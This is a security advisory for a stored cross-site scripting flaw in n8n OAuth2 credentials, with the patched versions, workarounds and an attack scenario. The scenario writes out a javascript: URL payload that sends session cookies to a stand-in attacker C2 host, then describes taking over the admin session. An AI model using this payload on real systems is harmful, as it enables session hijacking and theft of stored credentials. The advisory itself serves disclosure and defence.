GHSA-364x-8g5j-x2pr

## Impact An authenticated user with permission to create and share credentials could craft a malicious OAuth2 credential containing a JavaScript URL in the Authorization URL field. If a victim opened the credential and interacted with the OAuth authorization button, the injected script would execute in their browser session. ## Patches The issue has been fixed in n8n versions 2.8.0 and 2.6.4. Users should upgrade to one of these versions or later to remediate the vulnerability. ## Workarounds If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit credential creation and sharing permissions to fully trusted users only. - Restrict access to the n8n instance to trusted users only. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

A disgruntled team member or attacker who has compromised a low-privilege n8n account (e.g., a developer account) creates an OAuth2 credential named something innocuous like 'Slack Integration (Prod)'. In the Authorization URL field they inject: javascript:fetch('https://c2.attacker.io/x?s='+document.cookie). They share this credential with a target admin. The admin, seeing a familiar-looking credential, opens it and clicks the 'Connect' or 'Authorize' button to verify or update it. The injected script executes in the admin's browser session, exfiltrating session cookies to the attacker's C2. The attacker replays the session token, gaining full admin access to n8n and all stored credentials—including OpenAI API keys, database connection strings, and downstream service tokens.